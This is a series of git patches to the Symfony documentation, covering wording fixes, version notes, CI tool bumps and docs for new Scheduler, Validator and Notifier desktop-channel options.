@@ -169,4 +169,4 @@ Parameter         Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _ISO-8601: https://en.wikipedia.org/wiki/ISO_8601
+.. _`ISO-8601`: https://en.wikipedia.org/wiki/ISO_8601

From 728f2ed2775c257af97335f941eee4ddab835996 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 10:38:49 +0200
Subject: [PATCH 6314/7107] Minor fix

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index cf1f16b3c21..a859c2fd239 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -351,7 +351,7 @@ form_only
 
 Set this option to ``true`` to require that the login data is sent using a form
 (it checks that the request content-type is ``application/x-www-form-urlencoded``
-or ``multipart/form-data``) This is useful for example to prevent the.
+or ``multipart/form-data``). This is useful for example to prevent the
 :ref:`form login authenticator <security-form-login>` from responding to
 requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`.
 

From 34d159469bd81267e3ae9cfe8d2b65993fd148f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 10:57:07 +0200
Subject: [PATCH 6315/7107] Minor tweak

---
 validation/custom_constraint.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 4504ceb4012..435b976d1d3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -552,8 +552,8 @@ class to simplify writing unit tests for your custom constraints::
 Compound Constraints
 ~~~~~~~~~~~~~~~~~~~~
 
-Let's say you create a compound constraint that checks if a string meets
-your minimum requirements for your password policy::
+Consider the following compound constraint that checks if a string meets
+the minimum requirements for your password policy::
 
     // src/Validator/PasswordRequirements.php
     namespace App\Validator;

From f0e8ad51198e766b7e69841afbb5628fc4becdbd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 12:03:22 +0200
Subject: [PATCH 6316/7107] Minor reformatting

---
 reference/formats/expression_language.rst | 6 +++---
 reference/formats/message_format.rst      | 3 ++-
 reference/formats/yaml.rst                | 4 ++--
 3 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 6d40683bfef..82c30d2ec49 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,9 +1,9 @@
 The Expression Syntax
 =====================
 
-The :doc:`ExpressionLanguage component </components/expression_language>` uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
+The :doc:`ExpressionLanguage component </components/expression_language>` uses a
+specific syntax which is based on the expression syntax of Twig. In this document,
+you can find all supported syntaxes.
 
 Supported Literals
 ------------------
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index af888b90c40..2a694ed45d2 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -3,7 +3,8 @@ How to Translate Messages using the ICU MessageFormat
 
 Messages (i.e. strings) in applications are almost never completely static.
 They contain variables or other complex logic like pluralization. To
-handle this, the :doc:`Translator component </translation>` supports the `ICU MessageFormat`_ syntax.
+handle this, the :doc:`Translator component </translation>` supports the
+`ICU MessageFormat`_ syntax.
 
 .. tip::
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 9c6b165a0c4..cd55ab6dd9b 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,8 +1,8 @@
 The YAML Format
 ---------------
 
-The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset of features defined in
-the `YAML 1.2 version specification`_.
+The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset
+of features defined in the `YAML 1.2 version specification`_.
 
 Scalars
 ~~~~~~~

From 41f17860c70df6743740b8c5a0aff21606cee7ac Mon Sep 17 00:00:00 2001
From: eltharin <eltharin18@hotmail.fr>
Date: Thu, 15 Aug 2024 15:21:16 +0200
Subject: [PATCH 6317/7107] [Scheduler] Add capability to skip missed periodic
 tasks, only the last schedule will be called

---
 scheduler.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index c890b1a1aec..be4f2ca138d 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -889,6 +889,27 @@ This allows the system to retain the state of the schedule, ensuring that when a
         }
     }
 
+With ``stateful`` option, All missed messages will be handled, If you nedd handle your message only once you can use the ``processOnlyLastMissedRun`` option.::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                )
+                ->stateful($this->cache)
+                ->processOnlyLastMissedRun(true)
+        }
+    }
+
 To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::

From 0f91311c8572b58c69097b901c7d76cf03ac993a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 12:50:13 +0200
Subject: [PATCH 6318/7107] Minor tweaks

---
 scheduler.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index be4f2ca138d..081f4efd498 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -869,7 +869,8 @@ While this behavior may not necessarily pose a problem, there is a possibility t
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
+This allows the system to retain the state of the schedule, ensuring that when a
+worker is restarted, it resumes from the point it left off::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -889,7 +890,8 @@ This allows the system to retain the state of the schedule, ensuring that when a
         }
     }
 
-With ``stateful`` option, All missed messages will be handled, If you nedd handle your message only once you can use the ``processOnlyLastMissedRun`` option.::
+With the ``stateful`` option, all missed messages will be handled. If you need to
+handle a message only once, you can use the ``processOnlyLastMissedRun`` option::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -910,6 +912,10 @@ With ``stateful`` option, All missed messages will be handled, If you nedd handl
         }
     }
 
+.. versionadded:: 7.2
+
+    The ``processOnlyLastMissedRun`` option was introduced in Symfony 7.2.
+
 To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::

From 2ffd01615208de3858f1ee9bf19e20efb3b8efff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 15:01:21 +0200
Subject: [PATCH 6319/7107] Minor tweaks

---
 workflow/workflow-and-state-machine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index c8487e60fb9..14ab7d0320a 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -81,7 +81,7 @@ Below is the configuration for the pull request state machine.
                     marking_store:
                          type: 'method'
                          property: 'currentPlace'
-                    # The supports options is useful only if you are using twig functions ('workflow_*')
+                    # The "supports" option is useful only if you are using Twig functions ('workflow_*')
                     supports:
                         - App\Entity\PullRequest
                     initial_marking: start
@@ -132,7 +132,7 @@ Below is the configuration for the pull request state machine.
 
                     <framework:marking-store type="method" property="currentPlace"/>
 
-                    <!-- The supports options is useful only if you are using twig functions ('workflow_*') -->
+                    <!-- The "supports" option is useful only if you are using Twig functions ('workflow_*') -->
                     <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:place>start</framework:place>
@@ -201,7 +201,7 @@ Below is the configuration for the pull request state machine.
 
             $pullRequest
                 ->type('state_machine')
-                // The supports options is useful only if you are using twig functions ('workflow_*')
+                // The "supports" option is useful only if you are using Twig functions ('workflow_*')
                 ->supports(['App\Entity\PullRequest'])
                 ->initialMarking(['start']);
 

From 1666a1cca8e44283fb397ee4d73c7e17a28b96b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 16:38:32 +0200
Subject: [PATCH 6320/7107] Minor tweak

---
 security/custom_authenticator.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index cc8051f286e..c40765e9a8a 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,6 +37,7 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
+            // "auth_token" is an example of a custom, non-standard HTTP header used in this application
             return $request->headers->has('auth-token');
         }
 

From 23838fd198c9a98731567284306d56b6c78f7e32 Mon Sep 17 00:00:00 2001
From: Thibaut THOUEMENT <thouement.t@outlook.fr>
Date: Fri, 23 Aug 2024 22:10:10 +0200
Subject: [PATCH 6321/7107] [Validator] Add errorPath to Unique constraint

---
 reference/constraints/Unique.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 8954f455086..7c4f78cfcc3 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -170,6 +170,15 @@ collection::
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+``errorPath``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+This option allows you to define a custom path for your message.
+``#[Assert\Unique(fields: ['latitude', 'longitude'], errorPath: 'point_of_interest')]``
+Instead of ``0: "Error message"``, it will be : ``0.point_of_interest: "Error message"``
+
 ``message``
 ~~~~~~~~~~~
 

From 03713d55356555cf5933daa8bc1cbe821ccf1591 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 16:58:22 +0200
Subject: [PATCH 6322/7107] Reword

---
 reference/constraints/Unique.rst | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 7c4f78cfcc3..68754738271 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -175,9 +175,16 @@ collection::
 
 **type**: ``string`` **default**: ``null``
 
-This option allows you to define a custom path for your message.
-``#[Assert\Unique(fields: ['latitude', 'longitude'], errorPath: 'point_of_interest')]``
-Instead of ``0: "Error message"``, it will be : ``0.point_of_interest: "Error message"``
+.. versionadded:: 7.2
+
+    The ``errorPath`` option was introduced in Symfony 7.2.
+
+If a validation error occurs, the error message is, by default, bound to the
+first element in the collection. Use this option to bind the error message to a
+specific field within the first item of the collection.
+
+The value of this option must use any :doc:`valid PropertyAccess syntax </components/property_access>`
+(e.g. ``'point_of_interest'``, ``'user.email'``).
 
 ``message``
 ~~~~~~~~~~~

From c58aea4dd09030c98d26ef74f5cd75b47d2f5400 Mon Sep 17 00:00:00 2001
From: Thibaut THOUEMENT <thouement.t@outlook.fr>
Date: Fri, 23 Aug 2024 17:37:54 +0200
Subject: [PATCH 6323/7107] Fix #20080

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 43bcc240e57..0da80f10e0e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -799,8 +799,8 @@ When serializing, you can set a callback to format a specific object property::
     $encoder = new JsonEncoder();
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
-        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ATOM) : '';
+    $dateCallback = function ($attributeValue, $object, string $attributeName, ?string $format = null, array $context = []) {
+        return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
     };
 
     $defaultContext = [

From 86a4de5cdf76e92eeec79d3263683083aa32992e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Aug 2024 09:11:39 +0200
Subject: [PATCH 6324/7107] Reword

---
 profiler.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index eb4ee5d8a0e..e894cb644d1 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -51,7 +51,9 @@ method to access to its associated profile::
 
 .. note::
 
-    To declare the profiler service you can refer to :ref:`Enabling the Profiler Conditionally <enabling_the_profiler_conditionally_tag>`.
+    The ``profiler`` service will be :doc:`autowired </service_container/autowiring>`
+    automatically when type-hinting any service argument with the
+    :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler` class.
 
 When the profiler stores data about a request, it also associates a token with it;
 this token is available in the ``X-Debug-Token`` HTTP header of the response.

From be4428d43acba22f33a834ae405a6e929156e2f4 Mon Sep 17 00:00:00 2001
From: novah77 <novah.dev.symfony@gmail.com>
Date: Tue, 27 Aug 2024 18:17:36 +0300
Subject: [PATCH 6325/7107] Fix Uncaught ArgumentCountError

Set second argument with an empty array for the two instructions to get rid of the fatal error uncaught argumentError
---
 components/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index eeababaf373..f718f928702 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -99,11 +99,11 @@ other hand, returns a boolean indicating if the expression is valid or not::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    var_dump($expressionLanguage->parse('1 + 2'));
+    var_dump($expressionLanguage->parse('1 + 2', []));
     // displays the AST nodes of the expression which can be
     // inspected and manipulated
 
-    var_dump($expressionLanguage->lint('1 + 2')); // displays true
+    var_dump($expressionLanguage->lint('1 + 2', [])); // displays true
 
 Passing in Variables
 --------------------

From 6528840fe01c243c2f671007cae9b21993396068 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Aug 2024 15:27:42 +0200
Subject: [PATCH 6326/7107] Use DOCtor-RST 1.62.2 and new
 `no_broken_ref_directive` rule

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 93d90a1df9f..4f07d84cd25 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -39,6 +39,7 @@ rules:
     no_blank_line_after_filepath_in_xml_code_block: ~
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
+    no_broken_ref_directive: ~
     no_composer_req: ~
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index e8142fecd10..f18be0d0e45 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.61.1
+                uses: docker://oskarstark/doctor-rst:1.62.2
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 45ba59fd12b5db3fa49a6cb6ac38683d9119442b Mon Sep 17 00:00:00 2001
From: Ahmed Ghanem <124502255+ahmedghanem00@users.noreply.github.com>
Date: Mon, 29 Jul 2024 02:56:36 +0300
Subject: [PATCH 6327/7107] [Notifier] Create `DesktopChannel` and `JoliNotif`
 bridge

---
 notifier.rst | 84 +++++++++++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 80 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 6d506910ead..4df4590235e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -16,8 +16,8 @@ Get the Notifier installed using:
 
 .. _channels-chatters-texters-email-and-browser:
 
-Channels: Chatters, Texters, Email, Browser and Push
-----------------------------------------------------
+Channels: Chatters, Texters, Email, Browser, Push and Desktop
+-------------------------------------------------------------
 
 The notifier component can send notifications to different channels. Each
 channel can integrate with different providers (e.g. Slack or Twilio SMS)
@@ -32,6 +32,7 @@ The notifier component supports the following channels:
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
 * :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
+* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications on the same host machine.
 
 .. tip::
 
@@ -623,6 +624,79 @@ configure the ``texter_transports``:
             ;
         };
 
+.. _notifier-desktop-channel:
+
+Desktop Channel
+~~~~~~~~~~~~~~~
+
+The desktop channel is used to display desktop notifications on the same host machine using
+:class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, Symfony
+is integrated with the following providers:
+
+===============  ====================================  ==============================================================================
+Provider         Package                               DSN
+===============  ====================================  ==============================================================================
+`JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
+===============  ====================================  ==============================================================================
+
+.. versionadded: 7.2
+
+    The JoliNotif bridge was introduced in Symfony 7.2.
+
+To enable a texter, add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    JOLINOTIF=jolinotif://default
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    jolinotif: '%env(JOLINOTIF)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="jolinotif">
+                        %env(JOLINOTIF)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->notifier()
+                ->texterTransport('jolinotif', env('JOLINOTIF'))
+            ;
+        };
+
+.. versionadded:: 7.2
+
+    The ``Desktop`` channel was introduced in Symfony 7.2.
+
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -926,9 +1000,10 @@ and its ``asChatMessage()`` method::
 
 The
 :class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`,
-:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
-and
+:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`,
 :class:`Symfony\\Component\\Notifier\\Notification\\PushNotificationInterface`
+and
+:class:`Symfony\\Component\\Notifier\\Notification\\DesktopNotificationInterface`
 also exists to modify messages sent to those channels.
 
 Customize Browser Notifications (Flash Messages)
@@ -1114,6 +1189,7 @@ is dispatched. Listeners receive a
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
 .. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md
+.. _`JoliNotif`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/JoliNotif/README.md
 .. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md

From cc4de4e630189e65ca2e74f98b469d18d20aca28 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Aug 2024 13:13:14 +0200
Subject: [PATCH 6328/7107] Keep a reference to not break existing links

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 4df4590235e..5f38a078f4c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -15,6 +15,7 @@ Get the Notifier installed using:
     $ composer require symfony/notifier
 
 .. _channels-chatters-texters-email-and-browser:
+.. _channels-chatters-texters-email-browser-and-push:
 
 Channels: Chatters, Texters, Email, Browser, Push and Desktop
 -------------------------------------------------------------

From 398f6d1afd207e70f355137b00589a3a60c1cf99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Aug 2024 13:44:59 +0200
Subject: [PATCH 6329/7107] [Notifier] Misc. minor tweaks

---
 notifier.rst | 30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3bf2d34e34f..08c9e51dcb7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -15,12 +15,14 @@ Get the Notifier installed using:
     $ composer require symfony/notifier
 
 .. _channels-chatters-texters-email-and-browser:
+.. _channels-chatters-texters-email-browser-and-push:
 
-Channels: Chatters, Texters, Email, Browser and Push
-----------------------------------------------------
+Channels
+--------
 
-The notifier component can send notifications to different channels. Each
-channel can integrate with different providers (e.g. Slack or Twilio SMS)
+Channels refer to the different mediums through which notifications can be delivered.
+These channels can include email, SMS, chat services, push notifications, etc.
+Each channel can integrate with different providers (e.g. Slack or Twilio SMS)
 by using transports.
 
 The notifier component supports the following channels:
@@ -33,16 +35,16 @@ The notifier component supports the following channels:
 * Browser channel uses :ref:`flash messages <flash-messages>`.
 * :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
 
-.. tip::
-
-    Use :doc:`secrets </configuration/secrets>` to securely store your
-    API tokens.
-
 .. _notifier-sms-channel:
 
 SMS Channel
 ~~~~~~~~~~~
 
+The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
+to send SMS messages to mobile phones. This feature requires subscribing to
+a third-party service that sends SMS messages. Symfony provides integration
+with a couple popular SMS services:
+
 .. caution::
 
     If any of the DSN values contains any character considered special in a
@@ -50,11 +52,6 @@ SMS Channel
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
-The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
-to send SMS messages to mobile phones. This feature requires subscribing to
-a third-party service that sends SMS messages. Symfony provides integration
-with a couple popular SMS services:
-
 ==================  ====================================================================================================================================
 Service
 ==================  ====================================================================================================================================
@@ -213,6 +210,11 @@ Service
     The `Sendinblue`_ integration is deprecated since
     Symfony 6.4, use the `Brevo`_ integration instead.
 
+.. tip::
+
+    Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely
+    store your API tokens.
+
 .. tip::
 
     Some third party transports, when using the API, support status callbacks

From 3637c8d8ec32450da0f7f13191646bedcb837d15 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 28 Aug 2024 14:11:16 +0200
Subject: [PATCH 6330/7107] Use DOCtor-RST 1.62.3

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index f18be0d0e45..7c0ca18ed0d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.62.2
+                uses: docker://oskarstark/doctor-rst:1.62.3
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 4065cbfbd97a21ce20782cbcfe1f84edb8e4d945 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 28 Aug 2024 14:12:49 +0200
Subject: [PATCH 6331/7107] [CI] Use actions/checkout@v4

---
 .github/workflows/ci.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index f18be0d0e45..8aa83d74fbf 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -21,7 +21,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
 
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
@@ -57,7 +57,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
 
             -   name: "Create cache dir"
                 run: mkdir .cache
@@ -86,7 +86,7 @@ jobs:
 
         steps:
             -   name: Checkout code
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
                 with:
                     path: 'docs'
 

From e6e298421a7a43ceff3ff71f47dc4b71d83866b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Aug 2024 16:29:26 +0200
Subject: [PATCH 6332/7107] Minor tweaks

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 08c9e51dcb7..7d5e395fb02 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -21,9 +21,9 @@ Channels
 --------
 
 Channels refer to the different mediums through which notifications can be delivered.
-These channels can include email, SMS, chat services, push notifications, etc.
-Each channel can integrate with different providers (e.g. Slack or Twilio SMS)
-by using transports.
+These channels include email, SMS, chat services, push notifications, etc. Each
+channel can integrate with different providers (e.g. Slack or Twilio SMS) by
+using transports.
 
 The notifier component supports the following channels:
 

From 63c749ff15aa15d93539695e7abdb5d3a2e21b73 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 29 Aug 2024 13:50:09 +0200
Subject: [PATCH 6333/7107] chore: relocate the sqlite note block in a better
 place

---
 doctrine.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 770a7b32a0a..f3a34757374 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -174,13 +174,6 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     Confused why the price is an integer? Don't worry: this is just an example.
     But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues.
 
-.. note::
-
-    If you are using an SQLite database, you'll see the following error:
-    *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
-    column with default value NULL*. Add a ``nullable=true`` option to the
-    ``description`` property to fix the problem.
-
 .. caution::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
@@ -323,6 +316,13 @@ The migration system is *smart*. It compares all of your entities with the curre
 state of the database and generates the SQL needed to synchronize them! Like
 before, execute your migrations:
 
+.. note::
+
+    If you are using an SQLite database, you'll see the following error:
+    *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
+    column with default value NULL*. Add a ``nullable=true`` option to the
+    ``description`` property to fix the problem.
+
 .. code-block:: terminal
 
     $ php bin/console doctrine:migrations:migrate

From ce6e820aa394a0e6f048e4d8c647de34cc8da85a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Aug 2024 08:26:57 +0200
Subject: [PATCH 6334/7107] Minor tweak

---
 doctrine.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index f3a34757374..aba27545211 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -316,17 +316,17 @@ The migration system is *smart*. It compares all of your entities with the curre
 state of the database and generates the SQL needed to synchronize them! Like
 before, execute your migrations:
 
-.. note::
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:migrate
+
+.. caution::
 
     If you are using an SQLite database, you'll see the following error:
     *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
     column with default value NULL*. Add a ``nullable=true`` option to the
     ``description`` property to fix the problem.
 
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:migrate
-
 This will only execute the *one* new migration file, because DoctrineMigrationsBundle
 knows that the first migration was already executed earlier. Behind the scenes, it
 manages a ``migration_versions`` table to track this.

From 6ac0e212d7ac96b745ce5e1e20f79184d69e5ee5 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Fri, 30 Aug 2024 08:56:14 +0200
Subject: [PATCH 6335/7107] feat: remove mention of FOSUserBundle in doc

---
 security/ldap.rst | 2 +-
